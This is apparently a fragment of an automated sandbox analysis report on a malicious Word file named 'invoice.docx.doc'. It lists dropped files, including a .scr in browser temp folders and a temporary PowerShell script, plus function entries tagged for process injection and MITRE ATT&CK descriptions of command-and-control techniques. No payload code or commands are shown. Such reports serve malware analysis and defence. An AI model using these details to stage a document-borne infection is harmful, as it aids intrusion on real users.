C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BD83929C.doc

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{56C650F8-251B-4F9F-9E2B-F04CCC4FE6B6}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A1073337-7931-4D9D-A676-8287E6D3EA6C}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BA8241C7-1C05-4EA4-BBE6-D99AA80FB952}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FE26605D-C8CD-4092-9A88-DD4D987634F8}.tmp

C:\Users\user\AppData\Local\Temp\ggrwxfj1.e5i.ps1

Windows Analysis Report
invoice.docx.doc

Function 00390544 Relevance: 2.8, Strings: 1, Instructions: 1592
COMMON

Function 0039D704 Relevance: 5.1, Strings: 4, Instructions: 121
COMMON

Function 00C986B4 Relevance: 1.8, APIs: 1, Instructions: 326
processCOMMON

Function 00C986C0 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Function 00C98320 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre